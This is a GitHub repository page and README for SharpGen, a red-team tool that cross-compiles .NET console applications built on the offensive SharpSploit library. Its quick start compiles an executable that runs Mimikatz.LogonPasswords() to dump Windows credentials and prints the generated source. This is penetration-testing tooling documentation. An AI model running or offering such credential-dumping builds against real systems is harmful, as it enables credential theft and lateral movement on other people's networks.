Skip to content
SharpGen is a .NET Core console application that utilizes the Rosyln C# compiler to quickly cross-compile .NET Framework console applications or libraries.
C# Other
  1. C# 99.7%
  2. Other 0.3%
Branch: master
Clone or download
Latest commit 31c28bf Jan 21, 2019
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
Output SharpGen v1.0 Nov 7, 2018
References SharpGen v1.0 Nov 7, 2018
Resources SharpGen v1.0 Nov 7, 2018
Source/SharpSploit SharpGen v1.0 Nov 7, 2018
refs SharpGen v1.0 Nov 7, 2018
src SharpGen v1.0 Nov 7, 2018
.gitignore SharpGen v1.0 Nov 7, 2018
Dockerfile SharpGen v1.0 Nov 7, 2018
LICENSE SharpGen v1.0 Nov 7, 2018
README.md Edit link Jan 21, 2019
SharpGen.csproj SharpGen v1.0 Nov 7, 2018
confuse.cr SharpGen v1.0 Nov 7, 2018

README.md

SharpGen

SharpGen is a .NET Core console application that utilizes the Rosyln C# compiler to quickly cross-compile .NET Framework console applications or libraries.

Intro

You'll find details and motivations for the SharpGen project in this introductory blog post.

Quick Start

The most basic usage of SharpGen would be to provide SharpGen an output filename and a C# one-liner that you’d like to execute. SharpGen will generate a .NET Framework console application that will execute the one-liner. For example:

cobbr@mac:~ > git clone https://github.com/cobbr/SharpGen
cobbr@mac:~ > cd SharpGen
cobbr@mac:~/SharpGen > dotnet build
cobbr@mac:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"
[+] Compiling source:
using System;
using System.IO;
using System.Text;
using System.Linq;
using System.Security.Principal;
using System.Collections.Generic;
using SharpSploit.Credentials;
using SharpSploit.Enumeration;
using SharpSploit.Execution;
using SharpSploit.LateralMovement;
using SharpSploit.Generic;
using SharpSploit.Misc;

public static class jZTyloQN2SU4
{
    static void Main()
    {
        Console.WriteLine(Mimikatz.LogonPasswords());
	    return;
    }
}
[+] Compiling optimized source:
using System;
using SharpSploit.Credentials;

public static class jZTyloQN2SU4
{
    static void Main()
    {
        Console.WriteLine(Mimikatz.LogonPasswords());
	    return;
    }
}
[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe
You can’t perform that action at this time.